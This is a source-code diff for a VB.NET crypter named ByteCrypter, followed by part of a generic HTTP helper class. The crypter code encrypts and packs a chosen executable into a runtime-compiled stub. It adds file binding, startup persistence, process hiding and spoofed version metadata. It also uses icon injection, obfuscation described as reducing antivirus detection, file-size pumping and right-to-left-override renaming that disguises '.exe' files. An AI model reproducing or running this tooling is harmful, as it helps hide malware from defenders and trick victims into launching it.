Then + TextBox4.Text = o.FileName + IconPath = o.FileName + PictureBox2.ImageLocation = o.FileName + Else + Exit Sub + End If + End Sub + + Private Sub chkIcon_CheckedChanged(sender As Object) Handles chkIcon.CheckedChanged + If chkIcon.Checked Then + MsgBox("L'icon changer peut affecter les detection !", MsgBoxStyle.Information) + grpIcon.Enabled = True + Else + grpIcon.Enabled = False + End If + End Sub +#End Region + +#Region "Button Binder" + Dim Extension As String + Private Sub DesignButton3_Click(sender As Object, e As EventArgs) Handles DesignButton3.Click + Dim o As New OpenFileDialog + o.Filter = "Any File |*.*" + If o.ShowDialog = vbOK Then + txtBinder.Text = o.FileName + Extension = IO.Path.GetExtension(o.FileName) + Else + Exit Sub + End If + End Sub + Private Sub chkBinder_CheckedChanged(sender As Object) Handles chkBinder.CheckedChanged + If chkBinder.Checked Then + grpBinder.Enabled = True + Else + grpBinder.Enabled = False + End If + End Sub +#End Region + +#Region "CheckBox Startup" + Private Sub chkStartup_CheckedChanged(sender As Object) Handles chkStartup.CheckedChanged + If chkStartup.Checked Then + grpStartup.Enabled = True + Else + grpStartup.Enabled = False + End If + End Sub +#End Region + +#Region "Assembly Cloner" + Private Sub chkAssembly_CheckedChanged(sender As Object) Handles chkAssembly.CheckedChanged + If chkAssembly.Checked Then + grpClone.Enabled = True + Else + grpClone.Enabled = False + End If + End Sub + + Private Sub DesignButton5_Click(sender As Object, e As EventArgs) Handles DesignButton5.Click + Dim o As New OpenFileDialog + o.Filter = "Any File |*.*" + If o.ShowDialog = vbOK Then + txtClone.Text = o.FileName + ReadAssembly(o.FileName) + Else + Exit Sub + End If + End Sub + Dim Title As String + Dim Description As String + Dim Company As String + Dim Product As String + Dim Copyright As String + Dim Trademark As String + Dim v1 As String + Dim v2 As String + Dim v3 As String + Dim v4 As String + Sub ReadAssembly(ByVal Filepath As String) + + Dim f As FileVersionInfo = FileVersionInfo.GetVersionInfo(Filepath) + Title = f.InternalName + Description = f.FileDescription + Company = f.CompanyName + Product = f.ProductName + Copyright = f.LegalCopyright + Trademark = f.LegalTrademarks + Dim version As String() + If f.FileVersion.Contains(",") Then + version = f.FileVersion.Split(","c) + Else + version = f.FileVersion.Split("."c) + End If + Try + v1 = version(0) + v2 = version(1) + v3 = version(2) + v4 = version(3) + Catch ex As Exception + + End Try + End Sub +#End Region + +#Region "Button Crypt" + Dim ASM As AssemblyDefinition + Dim List As ListBox = New ListBox + Dim SavePath As String + Private Sub btnEncrypt_Click(sender As Object, e As EventArgs) Handles btnEncrypt.Click + Try + If TextBox1.Text = Nothing Then + Call MsgBox("Please Select a File...", MsgBoxStyle.Critical) + Exit Sub + End If + Try + Dim s As New SaveFileDialog + s.Filter = "Portable Executable |*.exe" + If s.ShowDialog = vbOK Then + SavePath = s.FileName + Else + Exit Sub + End If + Dim Src As String = My.Resources.Source + Dim RESA As String = Application.StartupPath & "\Z.resources" + Using A As New Resources.ResourceWriter(RESA) + A.AddResource("First", Encoding.Default.GetString(PolyIndia(Compress(FileByte)))) + A.AddResource("Second", Encoding.Default.GetString(PolyIndia(Compress(My.Resources.Xenocode)))) + If chkBinder.Checked Then + A.AddResource("Three", Encoding.Default.GetString(PolyIndia(Compress(IO.File.ReadAllBytes(txtBinder.Text))))) + End If + If chkHide.Checked Then + A.AddResource("Root", Encoding.Default.GetString(PolyIndia(Compress(My.Resources.DarkFire)))) + End If + A.Generate() + End Using + If chkRoot.Checked Then + Src = Src.Replace("'ROOT", Nothing) + End If + If chkHide.Checked Then + Src = Src.Replace("'_HIDE", Nothing) + End If + Dim ASEM As String = My.Resources.Asem + If chkAssembly.Checked Then + ASEM = ASEM.Replace("%Title%", Title) + ASEM = ASEM.Replace("%Description%", Description) + ASEM = ASEM.Replace("%Company%", Company) + ASEM = ASEM.Replace("%Product%", Product) + ASEM = ASEM.Replace("%Copyright%", Copyright) + ASEM = ASEM.Replace("%Trademark%", Trademark) + ASEM = ASEM.Replace("%FileVersion%", v1 & v2 & v3 & v4) + Src = Src.Replace("'[ASEMBLYCODE]", ASEM) + Else + Src = Src.Replace("'[ASEMBLYCODE]", Nothing) + End If + Try + Dim snk As String = Application.StartupPath & "\pourquoi.snk" + IO.File.WriteAllBytes(snk, My.Resources.pourquoi) + Src = Src.Replace("STRONGNAMELOCATION", snk) + Catch ex As Exception + + End Try + If chkBinder.Checked = True Then + Src = Src.Replace("%BindCheck%", True) + Src = Src.Replace("%Extension%", Extension) + Src = Src.Replace("'BINDER", Nothing) + If chkrunOnce.Checked = True Then + Src = Src.Replace("%OnceCheck%", True) + Else + Src = Src.Replace("%OnceCheck%", False) + End If + Else + Src = Src.Replace("%BindCheck%", False) + Src = Src.Replace("%OnceCheck%", False) + End If + Src = Src.Replace("%ProcessName%", TextBox8.Text) + If chkStartup.Checked Then + Src = Src.Replace("%NON%", "Oui") + Src = Src.Replace("%Folder%", txtFolder.Text) + Src = Src.Replace("%Filename%", txtFilename.Text) + Src = Src.Replace("%KeyName%", txtKeyname.Text) + Else + Src = Src.Replace("%NON%", "Non") + Src = Src.Replace("%Folder%", Nothing) + Src = Src.Replace("%Filename%", Nothing) + Src = Src.Replace("%KeyName%", Nothing) + End If + Compile(Src, SavePath, "_BASE") + If chkIcon.Checked Then + IconInjector.InjectIcon(SavePath, IconPath) + End If + If Protectpart1(SavePath) = True Then + ASM.Write(SavePath) + End If + IO.File.Delete(RESA) + MsgBox("Sucess !", MsgBoxStyle.Information) + Catch ex As Exception + MsgBox(ex.Message) + End Try + Catch ex As Exception + + End Try + End Sub + Public Shared Function PolyIndia(ByVal File As Byte()) As Byte() + Dim ServicePro As New System.Security.Cryptography.RNGCryptoServiceProvider() + Dim RetKey As Byte() = New Byte(16 - 1) {} + Dim Result As Byte() = New Byte(16 + (File.Length - 1)) {} + ServicePro.GetBytes(RetKey) + Buffer.BlockCopy(RetKey, 0, Result, 0, 16) + Buffer.BlockCopy(File, 0, Result, 16, File.Length) + For i As Integer = 16 To Result.Length - 1 + Result(i) = Result(i) Xor RetKey(i Mod RetKey.Length) + Next + Return Result + End Function + Public Shared Function Compress(data As Byte()) As Byte() + Dim output As New MemoryStream() + Dim gzip As New GZipStream(output, CompressionMode.Compress, True) + gzip.Write(data, 0, data.Length) + gzip.Close() + Return output.ToArray() + End Function + + Private Sub DesignButton8_Click(sender As Object, e As EventArgs) Handles DesignButton8.Click + Try + Dim S As New SaveFileDialog + S.Filter = "|*.exe" + If S.ShowDialog = vbOK Then + If Protectpart2() = True Then + ASM.Write(S.FileName) + End If + MsgBox("Sucessfully Obfuscated at: " & vbCrLf & S.FileName, MsgBoxStyle.Information) + Else + Exit Sub + End If + Catch ex As Exception + + End Try + End Sub + + Public Function Protectpart2() As Boolean + Dim FilePath As String + Try + ASM = AssemblyDefinition.ReadAssembly(FilePath) + ASM.MainModule.Attributes = ModuleAttributes.Required32Bit + Dim definition As TypeDefinition + For Each definition In ASM.MainModule.Types + If (definition.Name <> "") Then + Me.RenameTypesMethodsFields(definition, True, True, True) + Dim i As Integer + For i = 0 To 750 - 1 + Dim item As New MethodDefinition(Me.SingleCharRename, (MethodAttributes.ReuseSlot Or MethodAttributes.Private), ASM.MainModule.Import(Type.GetType("System.Void"))) + definition.Methods.Add(item) + item.Body.Instructions.Add(Instruction.Create(OpCodes.Br_S, CByte(&H2C))) + item.Body.Instructions.Add(Instruction.Create(OpCodes.Nop)) + List.Items.Add(item) + Next i + End If + Next + Dim definition3 As TypeDefinition + For Each definition3 In ASM.MainModule.Types + If (definition3.Namespace <> "") Then + Dim newValue As String = Me.SingleCharRename + Dim resource As Resource + For Each resource In ASM.MainModule.Resources + resource.Name = resource.Name.Replace(definition3.Namespace, newValue) + Next + definition3.Namespace = newValue + End If + Next + Catch exception As Exception + MessageBox.Show(exception.Message) + Return False + End Try + Return True + End Function + + Public Function Protectpart1(ByVal file As String) As Boolean + Try + ASM = AssemblyDefinition.ReadAssembly(File) + ASM.MainModule.Attributes = ModuleAttributes.Required32Bit + Dim definition As TypeDefinition + For Each definition In ASM.MainModule.Types + If (definition.Name <> "") Then + Me.RenameTypesMethodsFields(definition, True, True, True) + Dim i As Integer + For i = 0 To 750 - 1 + Dim item As New MethodDefinition(Me.SingleCharRename, (MethodAttributes.ReuseSlot Or MethodAttributes.Private), ASM.MainModule.Import(Type.GetType("System.Void"))) + definition.Methods.Add(item) + item.Body.Instructions.Add(Instruction.Create(OpCodes.Br_S, CByte(&H2C))) + item.Body.Instructions.Add(Instruction.Create(OpCodes.Nop)) + List.Items.Add(item) + Next i + End If + Next + Dim definition3 As TypeDefinition + For Each definition3 In ASM.MainModule.Types + If (definition3.Namespace <> "") Then + Dim newValue As String = Me.SingleCharRename + Dim resource As Resource + For Each resource In ASM.MainModule.Resources + resource.Name = resource.Name.Replace(definition3.Namespace, newValue) + Next + definition3.Namespace = newValue + End If + Next + Catch exception As Exception + MessageBox.Show(exception.Message) + Return False + End Try + Return True + End Function + + Private Sub RenameTypesMethodsFields(ByVal t As TypeDefinition, ByVal renameType As Boolean, ByVal renameMethods As Boolean, ByVal renameFields As Boolean) + Dim definition As TypeDefinition + For Each definition In t.NestedTypes + Me.RenameTypesMethodsFields(definition, renameType, renameMethods, False) + Next + If renameFields Then + Dim definition2 As FieldDefinition + For Each definition2 In t.Fields + definition2.Name = Me.SingleCharRename + Next + End If + If renameMethods Then + Dim definition3 As MethodDefinition + For Each definition3 In t.Methods + If ((Not definition3.IsConstructor AndAlso (definition3.Name <> "OnCreateMainForm")) AndAlso (Not definition3.Name.ToLower.StartsWith("get") AndAlso Not definition3.Name.ToLower.StartsWith("set"))) Then + definition3.Name = Me.SingleCharRename + End If + Next + End If + Dim str As String = Me.SingleCharRename + Dim resource As Resource + For Each resource In t.Module.Resources + resource.Name = resource.Name.Replace(t.FullName, (t.Namespace & "." & str)) + Next + If renameType Then + t.Name = str + End If + End Sub + Private Function SingleCharRename() As String + Return Rand(20) + End Function + Public Sub Compile(ByVal Source As String, ByVal Out As String, ByVal ClassName As String, Optional ByVal Icon As String = "") + Dim ProviderOptions As New Dictionary(Of String, String)() + ProviderOptions.Add("CompilerVersion", "v2.0") + Dim CP As New Microsoft.VisualBasic.VBCodeProvider(ProviderOptions) + Dim P As New CodeDom.Compiler.CompilerParameters + Dim s As New StringBuilder() + s.Append(" /target:winexe") + s.Append(" /platform:x86") + s.Append(" /optimize+") + P.GenerateExecutable = True + P.OutputAssembly = Out + If Icon = "" Then + Else + s.Append(" /win32icon:""" & Icon & """") + End If + P.EmbeddedResources.Add(Application.StartupPath & "\Z.resources") + P.CompilerOptions += s.ToString() + P.IncludeDebugInformation = False + P.ReferencedAssemblies.Add("System.Dll") + Dim Results1 = CP.CompileAssemblyFromSource(P, Source) + For Each uii As CodeDom.Compiler.CompilerError In Results1.Errors + MessageBox.Show(uii.ToString) + Next + End Sub +#End Region + +#Region "Button Open Scanner" + Private Sub DesignButton7_Click(sender As Object, e As EventArgs) Handles DesignButton7.Click + Me.Hide() + Scanner.Show() + End Sub +#End Region + +#Region "Hide Process" + Private Sub chkHide_CheckedChanged(sender As Object) Handles chkHide.CheckedChanged + If chkRoot.Checked = True Then + MsgBox("You Can't use Process Hider and Persitance" & vbCrLf & "Please Disable Persistance...", MsgBoxStyle.Information) + chkHide.Checked = False + End If + If chkHide.Checked Then + TextBox8.Enabled = False + TextBox8.Text = "WinSec" + chkRoot.Enabled = False + Else + chkRoot.Enabled = True + TextBox8.Enabled = True + TextBox8.Text = "WinSec" + End If + End Sub +#End Region + + Private Sub DesignButton6_Click(sender As Object, e As EventArgs) Handles DesignButton6.Click + Dim ob As New OpenFileDialog + ob.Filter = "Portable Executable |*.exe" + If ob.ShowDialog = vbOK Then + TextBox3.Text = ob.FileName + FileByte = IO.File.ReadAllBytes(ob.FileName) + grpSetting.Enabled = True + btnEncrypt.Enabled = True + If isDotNet(FileByte) = True Then + grpInject.Enabled = False + chkRoot.Checked = False + End If + Else + Exit Sub + End If + End Sub + + + + Private Sub DesignButton9_Click(sender As Object, e As EventArgs) Handles DesignButton9.Click + Dim filesize As Double = Val(NumericUpDown1.Value) + If DeumosRadioButton1.Checked Then + filesize = filesize * 1024 + End If + If DeumosRadioButton2.Checked Then + filesize = filesize * 1048576 + End If + Dim filetopump = IO.File.OpenWrite(TextBox1.Text) + Dim size = filetopump.Seek(0, IO.SeekOrigin.[End]) + While size < filesize + filetopump.WriteByte(0) + size += 1 + End While + filetopump.Close() + MsgBox("File Pumped!", MsgBoxStyle.Information) + End Sub + + + Private Sub DesignButton10_Click(sender As Object, e As EventArgs) Handles DesignButton10.Click + My.Computer.FileSystem.RenameFile(TextBox1.Text, TextBox1.Text & "‮" & StrReverse(TextBox5.Text) & ".exe") + End Sub +End Class + +#Region "Icon Injector" +Public Class IconInjector + + _ + Private Class NativeMethods + _ + Public Shared Function BeginUpdateResource( _ + ByVal fileName As String, _ + ByVal deleteExistingResources As Boolean) As IntPtr + End Function + + _ + Public Shared Function UpdateResource( _ + ByVal hUpdate As IntPtr, _ + ByVal type As IntPtr, _ + ByVal name As IntPtr, _ + ByVal language As Short, _ + _ + ByVal data() As Byte, _ + ByVal dataSize As Integer) As Boolean + End Function + + _ + Public Shared Function EndUpdateResource( _ + ByVal hUpdate As IntPtr, _ + ByVal discard As Boolean) As Boolean + End Function + End Class + + ' The first structure in an ICO file lets us know how many images are in the file. + _ + Private Structure ICONDIR + Public Reserved As UShort ' Reserved, must be 0 + Public Type As UShort ' Resource type, 1 for icons. + Public Count As UShort ' How many images. + ' The native structure has an array of ICONDIRENTRYs as a final field. + End Structure + + ' Each ICONDIRENTRY describes one icon stored in the ico file. The offset says where the icon image data + ' starts in the file. The other fields give the information required to turn that image data into a valid + ' bitmap. + _ + Private Structure ICONDIRENTRY + Public Width As Byte ' Width, in pixels, of the image + Public Height As Byte ' Height, in pixels, of the image + Public ColorCount As Byte ' Number of colors in image (0 if >=8bpp) + Public Reserved As Byte ' Reserved ( must be 0) + Public Planes As UShort ' Color Planes + Public BitCount As UShort ' Bits per pixel + Public BytesInRes As Integer ' Length in bytes of the pixel data + Public ImageOffset As Integer ' Offset in the file where the pixel data starts. + End Structure + + ' Each image is stored in the file as an ICONIMAGE structure: + 'typdef struct + '{ + ' BITMAPINFOHEADER icHeader; // DIB header + ' RGBQUAD icColors[1]; // Color table + ' BYTE icXOR[1]; // DIB bits for XOR mask + ' BYTE icAND[1]; // DIB bits for AND mask + '} ICONIMAGE, *LPICONIMAGE; + + + _ + Private Structure BITMAPINFOHEADER + Public Size As UInteger + Public Width As Integer + Public Height As Integer + Public Planes As UShort + Public BitCount As UShort + Public Compression As UInteger + Public SizeImage As UInteger + Public XPelsPerMeter As Integer + Public YPelsPerMeter As Integer + Public ClrUsed As UInteger + Public ClrImportant As UInteger + End Structure + + ' The icon in an exe/dll file is stored in a very similar structure: + _ + Private Structure GRPICONDIRENTRY + Public Width As Byte + Public Height As Byte + Public ColorCount As Byte + Public Reserved As Byte + Public Planes As UShort + Public BitCount As UShort + Public BytesInRes As Integer + Public ID As UShort + End Structure + + Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String) + InjectIcon(exeFileName, iconFileName, 1, 1) + End Sub + + Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String, ByVal iconGroupID As UInteger, ByVal iconBaseID As UInteger) + Const RT_ICON = 3UI + Const RT_GROUP_ICON = 14UI + Dim iconFile As IconFile = iconFile.FromFile(iconFileName) + Dim hUpdate = NativeMethods.BeginUpdateResource(exeFileName, False) + Dim data = iconFile.CreateIconGroupData(iconBaseID) + NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_GROUP_ICON), New IntPtr(iconGroupID), 0, data, data.Length) + For i = 0 To iconFile.ImageCount - 1 + Dim image = iconFile.ImageData(i) + NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_ICON), New IntPtr(iconBaseID + i), 0, image, image.Length) + Next + NativeMethods.EndUpdateResource(hUpdate, False) + End Sub + + Private Class IconFile + + Private iconDir As New ICONDIR + Private iconEntry() As ICONDIRENTRY + Private iconImage()() As Byte + + Public ReadOnly Property ImageCount As Integer + Get + Return iconDir.Count + End Get + End Property + + Public ReadOnly Property ImageData(ByVal index As Integer) As Byte() + Get + Return iconImage(index) + End Get + End Property + + Private Sub New() + End Sub + + Public Shared Function FromFile(ByVal filename As String) As IconFile + Dim instance As New IconFile + ' Read all the bytes from the file. + Dim fileBytes() As Byte = IO.File.ReadAllBytes(filename) + ' First struct is an ICONDIR + ' Pin the bytes from the file in memory so that we can read them. + ' If we didn't pin them then they could move around (e.g. when the + ' garbage collector compacts the heap) + Dim pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned) + ' Read the ICONDIR + instance.iconDir = DirectCast(Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject, GetType(ICONDIR)), ICONDIR) + ' which tells us how many images are in the ico file. For each image, there's a ICONDIRENTRY, and associated pixel data. + instance.iconEntry = New ICONDIRENTRY(instance.iconDir.Count - 1) {} + instance.iconImage = New Byte(instance.iconDir.Count - 1)() {} + ' The first ICONDIRENTRY will be immediately after the ICONDIR, so the offset to it is the size of ICONDIR + Dim offset = Marshal.SizeOf(instance.iconDir) + ' After reading an ICONDIRENTRY we step forward by the size of an ICONDIRENTRY + Dim iconDirEntryType = GetType(ICONDIRENTRY) + Dim size = Marshal.SizeOf(iconDirEntryType) + For i = 0 To instance.iconDir.Count - 1 + ' Grab the structure. + Dim entry = DirectCast(Marshal.PtrToStructure(New IntPtr(pinnedBytes.AddrOfPinnedObject.ToInt64 + offset), iconDirEntryType), ICONDIRENTRY) + instance.iconEntry(i) = entry + ' Grab the associated pixel data. + instance.iconImage(i) = New Byte(entry.BytesInRes - 1) {} + Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage(i), 0, entry.BytesInRes) + offset += size + Next + pinnedBytes.Free() + Return instance + End Function + + Public Function CreateIconGroupData(ByVal iconBaseID As UInteger) As Byte() + ' This will store the memory version of the icon. + Dim sizeOfIconGroupData As Integer = Marshal.SizeOf(GetType(ICONDIR)) + Marshal.SizeOf(GetType(GRPICONDIRENTRY)) * ImageCount + Dim data(sizeOfIconGroupData - 1) As Byte + Dim pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned) + Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject, False) + Dim offset = Marshal.SizeOf(iconDir) + For i = 0 To ImageCount - 1 + Dim grpEntry As New GRPICONDIRENTRY + Dim bitmapheader As New BITMAPINFOHEADER + Dim pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned) + Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject, Marshal.SizeOf(GetType(BITMAPINFOHEADER))) + pinnedBitmapInfoHeader.Free() + grpEntry.Width = iconEntry(i).Width + grpEntry.Height = iconEntry(i).Height + grpEntry.ColorCount = iconEntry(i).ColorCount + grpEntry.Reserved = iconEntry(i).Reserved + grpEntry.Planes = bitmapheader.Planes + grpEntry.BitCount = bitmapheader.BitCount + grpEntry.BytesInRes = iconEntry(i).BytesInRes + grpEntry.ID = CType(iconBaseID + i, UShort) + Marshal.StructureToPtr(grpEntry, New IntPtr(pinnedData.AddrOfPinnedObject.ToInt64 + offset), False) + offset += Marshal.SizeOf(GetType(GRPICONDIRENTRY)) + Next + pinnedData.Free() + Return data + End Function + + End Class + +End Class +#End Region \ No newline at end of file diff --git a/scode (ByteCrypt/ByteCrypter/Http.vb b/scode (ByteCrypt/ByteCrypter/Http.vb new file mode 100644 index 0000000..75369f7 --- /dev/null +++ b/scode (ByteCrypt/ByteCrypter/Http.vb @@ -0,0 +1,1377 @@ +Imports System.Collections.Specialized +Imports System.Drawing +Imports System.Drawing.Imaging +Imports System.IO +Imports System.IO.Compression +Imports System.Net +Imports System.Net.Cache +Imports System.Net.ServicePointManager +Imports System.Reflection +Imports System.Runtime.InteropServices +Imports System.Runtime.InteropServices.Marshal +Imports System.Security.Cryptography.X509Certificates +Imports System.Text +Imports System.Text.RegularExpressions +Imports System.Web +Imports System.Web.HttpUtility + +Namespace Utility + + ''' DO NOT REMOVE ANY OF THIS INFORMATION. + ''' Wrapper for HttpWebRequest/HttpWebResponse to make life easier :D + ''' idb + ''' http://s.olution.cc/ + ''' + ''' stimms - http://stackoverflow.com/users/361/stimms + ''' + ''' + ''' Although this class is open source I DO NOT grant anyone permission to use it in projects for monetary gain. + ''' This class is to only be used for educational purposes in open source/freeware projects and if the author (me) is given credit. + ''' Please don't take advantage of my willingness to share code and steal money out of my pocket. + ''' + ''' + ''' This section is reserved for keeping track of people who have gone against my wishes and are making money off this class without my permission. + ''' GeoCoreTV aka TKzGhostRider aka TKzTechnology (Skype: anders18881) - http://goo.gl/E191G + ''' + ''' Tuesday, July 3, 2012 + ''' + ''' Friday, January 13, 2012 + ''' Added another GetUploadResponse method that allows you to pass PostData as Byte(). + ''' Saturday, January 14, 2012 + ''' Handled "The underlying connection was closed:" exceptions in ProcessException function. + ''' Included Request (HttpWebRequest) object into HttpResponse class. + ''' Wednesday, February 22, 2012 + ''' Accept, Accept-Language, Accept-Encoding will no longer be sent if the property is empty. + ''' Tuesday, February 28, 2012 + ''' Removed some unnecessary DirectCast's in the GetResponse and GetUploadResponse methods. + ''' Wednesday, March 21, 2012 + ''' Handled GMT dates on cookie expiration parsing + ''' Added RequestUri/ResponseUri and RequestHeaders/ResponseHeaders to HttpResponse class + ''' Sunday, March 25, 2012 + ''' Added IsValidUri function + ''' Tuesday, March 27, 2012 + ''' Fixed an error in the ParseCookies function + ''' Got rid of unnecessary FindCookie functions + ''' Wednesday, April 4, 2012 + ''' Updated ParseCookies, GetCookies, and FindCookie functions + ''' Tuesday, May 22, 2012 + ''' Updated/Consolidated GetResponse and GetUploadResponse methods. + ''' Removed CancelRequest method. + ''' Removed ForceHttps property. + ''' Thursday, May 24, 2012 + ''' Updated GetRedirectUrl function. + ''' Replaced GetContentType function with GetMIMEType. + ''' Friday, June 1, 2012 + ''' Added Method parameter to GetResponse methods (now supports PUT as well as GET/POST). + ''' Added TimeStampLong function for getting epoch millisecond timestamps. + ''' Fixed problem in auto-redirection caused by new Method parameter in GetResponse methods. + ''' Monday, June 4, 2012 + ''' Added Properties UseCustomCookies and CustomCookies (used for sending specific cookies on a per request basis without disturbing the session cookies). + ''' Added ImageToBase64/Base64ToString functions. + ''' Friday, June 15, 2012 + ''' Added SendChunked property. + ''' Friday, June 23, 2012 + ''' Fixed bug in GetResponse (Multi-Part) method that caused data to be posted incorrectly + ''' Saturday, June 30, 2012 + ''' Fixed problem with headers in SendRequest method + ''' Added CookieBlacklist. + ''' Tuesday, July 3, 2012 + ''' Fixed problem with cookie domain value + ''' Handled another auto-redirection method + ''' + + Public Class Http + Implements IDisposable + + Public RedirectBlacklist As New List(Of String) + Public CookieBlacklist As New List(Of String) + + Private SessionCookies As List(Of HttpCookie) + +#Region "Declarations" + Private Shared Function FindMimeFromData(ByVal pBC As System.UInt32, ByVal pwzUrl As System.String, ByVal pBuffer As Byte(), ByVal cbSize As System.UInt32, ByVal pwzMimeProposed As System.String, ByVal dwMimeFlags As System.UInt32, ByRef ppwzMimeOut As System.UInt32, ByVal dwReserverd As System.UInt32) As System.UInt32 + End Function +#End Region + +#Region "Dictionaries" + Private ReadOnly Verbs() As String = New String() {"GET", "POST", "PUT"} + Private ReadOnly MIMETypes As New Dictionary(Of String, String)() From { _ + {"ai", "application/postscript"}, _ + {"aif", "audio/x-aiff"}, _ + {"aifc", "audio/x-aiff"}, _ + {"aiff", "audio/x-aiff"}, _ + {"asc", "text/plain"}, _ + {"atom", "application/atom+xml"}, _ + {"au", "audio/basic"}, _ + {"avi", "video/x-msvideo"}, _ + {"bcpio", "application/x-bcpio"}, _ + {"bin", "application/octet-stream"}, _ + {"bmp", "image/bmp"}, _ + {"cdf", "application/x-netcdf"}, _ + {"cgm", "image/cgm"}, _ + {"class", "application/octet-stream"}, _ + {"cpio", "application/x-cpio"}, _ + {"cpt", "application/mac-compactpro"}, _ + {"csh", "application/x-csh"}, _ + {"css", "text/css"}, _ + {"dcr", "application/x-director"}, _ + {"dif", "video/x-dv"}, _ + {"dir", "application/x-director"}, _ + {"djv", "image/vnd.djvu"}, _ + {"djvu", "image/vnd.djvu"}, _ + {"dll", "application/octet-stream"}, _ + {"dmg", "application/octet-stream"}, _ + {"dms", "application/octet-stream"}, _ + {"doc", "application/msword"}, _ + {"docx", "application/vnd.openxmlformats-officedocument.wordprocessingml.document"}, _ + {"dotx", "application/vnd.openxmlformats-officedocument.wordprocessingml.template"}, _ + {"docm", "application/vnd.ms-word.document.macroEnabled.12"}, _ + {"dotm", "application/vnd.ms-word.template.macroEnabled.12"}, _ + {"dtd", "application/xml-dtd"}, _ + {"dv", "video/x-dv"}, _ + {"dvi", "application/x-dvi"}, _ + {"dxr", "application/x-director"}, _ + {"eps", "application/postscript"}, _ + {"etx", "text/x-setext"}, _ + {"exe", "application/octet-stream"}, _ + {"ez", "application/andrew-inset"}, _ + {"gif", "image/gif"}, _ + {"gram", "application/srgs"}, _ + {"grxml", "application/srgs+xml"}, _ + {"gtar", "application/x-gtar"}, _ + {"hdf", "application/x-hdf"}, _ + {"hqx", "application/mac-binhex40"}, _ + {"htm", "text/html"}, _ + {"html", "text/html"}, _ + {"ice", "x-conference/x-cooltalk"}, _ + {"ico", "image/x-icon"}, _ + {"ics", "text/calendar"}, _ + {"ief", "image/ief"}, _ + {"ifb", "text/calendar"}, _ + {"iges", "model/iges"}, _ + {"igs", "model/iges"}, _ + {"jnlp", "application/x-java-jnlp-file"}, _ + {"jp2", "image/jp2"}, _ + {"jpe", "image/jpeg"}, _ + {"jpeg", "image/jpeg"}, _ + {"jpg", "image/jpeg"}, _ + {"js", "application/x-javascript"}, _ + {"kar", "audio/midi"}, _ + {"latex", "application/x-latex"}, _ + {"lha", "application/octet-stream"}, _ + {"lzh", "application/octet-stream"}, _ + {"m3u", "audio/x-mpegurl"}, _ + {"m4a", "audio/mp4a-latm"}, _ + {"m4b", "audio/mp4a-latm"}, _ + {"m4p", "audio/mp4a-latm"}, _ + {"m4u", "video/vnd.mpegurl"}, _ + {"m4v", "video/x-m4v"}, _ + {"mac", "image/x-macpaint"}, _ + {"man", "application/x-troff-man"}, _ + {"mathml", "application/mathml+xml"}, _ + {"me", "application/x-troff-me"}, _ + {"mesh", "model/mesh"}, _ + {"mid", "audio/midi"}, _ + {"midi", "audio/midi"}, _ + {"mif", "application/vnd.mif"}, _ + {"mov", "video/quicktime"}, _ + {"movie", "video/x-sgi-movie"}, _ + {"mp2", "audio/mpeg"}, _ + {"mp3", "audio/mpeg"}, _ + {"mp4", "video/mp4"}, _ + {"mpe", "video/mpeg"}, _ + {"mpeg", "video/mpeg"}, _ + {"mpg", "video/mpeg"}, _ + {"mpga", "audio/mpeg"}, _ + {"ms", "application/x-troff-ms"}, _ + {"msh", "model/mesh"}, _ + {"mxu", "video/vnd.mpegurl"}, _ + {"nc", "application/x-netcdf"}, _ + {"oda", "application/oda"}, _ + {"ogg", "application/ogg"}, _ + {"pbm", "image/x-portable-bitmap"}, _ + {"pct", "image/pict"}, _ + {"pdb", "chemical/x-pdb"}, _ + {"pdf", "application/pdf"}, _ + {"pgm", "image/x-portable-graymap"}, _ + {"pgn", "application/x-chess-pgn"}, _ + {"pic", "image/pict"}, _ + {"pict", "image/pict"}, _ + {"png", "image/png"}, _ + {"pnm", "image/x-portable-anymap"}, _ + {"pnt", "image/x-macpaint"}, _ + {"pntg", "image/x-macpaint"}, _ + {"ppm", "image/x-portable-pixmap"}, _ + {"ppt", "application/vnd.ms-powerpoint"}, _ + {"pptx", "application/vnd.openxmlformats-officedocument.presentationml.presentation"}, _ + {"potx", "application/vnd.openxmlformats-officedocument.presentationml.template"}, _ + {"ppsx", "application/vnd.openxmlformats-officedocument.presentationml.slideshow"}, _ + {"ppam", "application/vnd.ms-powerpoint.addin.macroEnabled.12"}, _ + {"pptm", "application/vnd.ms-powerpoint.presentation.macroEnabled.12"}, _ + {"potm", "application/vnd.ms-powerpoint.template.macroEnabled.12"}, _ + {"ppsm", "application/vnd.ms-powerpoint.slideshow.macroEnabled.12"}, _ + {"ps", "application/postscript"}, _ + {"qt", "video/quicktime"}, _ + {"qti", "image/x-quicktime"}, _ + {"qtif", "image/x-quicktime"}, _ + {"ra", "audio/x-pn-realaudio"}, _ + {"ram", "audio/x-pn-realaudio"}, _ + {"ras", "image/x-cmu-raster"}, _ + {"rdf", "application/rdf+xml"}, _ + {"rgb", "image/x-rgb"}, _ + {"rm", "application/vnd.rn-realmedia"}, _ + {"roff", "application/x-troff"}, _ + {"rtf", "text/rtf"}, _ + {"rtx", "text/richtext"}, _ + {"sgm", "text/sgml"}, _ + {"sgml", "text/sgml"}, _ + {"sh", "application/x-sh"}, _ + {"shar", "application/x-shar"}, _ + {"silo", "model/mesh"}, _ + {"sit", "application/x-stuffit"}, _ + {"skd", "application/x-koan"}, _ + {"skm", "application/x-koan"}, _ + {"skp", "application/x-koan"}, _ + {"skt", "application/x-koan"}, _ + {"smi", "application/smil"}, _ + {"smil", "application/smil"}, _ + {"snd", "audio/basic"}, _ + {"so", "application/octet-stream"}, _ + {"spl", "application/x-futuresplash"}, _ + {"src", "application/x-wais-source"}, _ + {"sv4cpio", "application/x-sv4cpio"}, _ + {"sv4crc", "application/x-sv4crc"}, _ + {"svg", "image/svg+xml"}, _ + {"swf", "application/x-shockwave-flash"}, _ + {"t", "application/x-troff"}, _ + {"tar", "application/x-tar"}, _ + {"tcl", "application/x-tcl"}, _ + {"tex", "application/x-tex"}, _ + 